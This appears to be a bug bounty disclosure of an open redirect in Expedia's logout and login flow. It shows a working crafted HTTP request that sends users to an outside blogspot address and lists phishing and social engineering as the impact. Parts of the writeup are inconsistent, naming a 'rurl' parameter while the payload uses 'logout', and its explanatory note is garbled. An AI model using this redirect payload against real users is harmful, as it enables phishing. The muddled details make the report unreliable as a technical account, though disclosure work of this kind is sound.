Open Redirect in Logout & Login

How it was found

Entry

Hello there! While browsing on expedia, I logged out of the account and as soon as I logged out, it was calling me a parameter called "rurl" directly on the link, I examined it and was able to redirect successfully.

Default Request

GET /?logout=1 HTTP/2 Host: www.expedia.com Cookie: { REDACTED } User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Te: trailers

Default Response

HTTP/2 200 OK

In response, it redirects us to the homepage.

Vulnerability Request

GET /?logout=https://qx4lw1nsec.blogspot.com HTTP/2 Host: www.expedia.com Cookie: { REDACTED } User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Te: trailers

Note

The part that exposes to explicit redirection is "?" in the section after the address. is use. and whatever he does he will throw redirects.

Video

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Impact

Redirect Phishing Social Engineering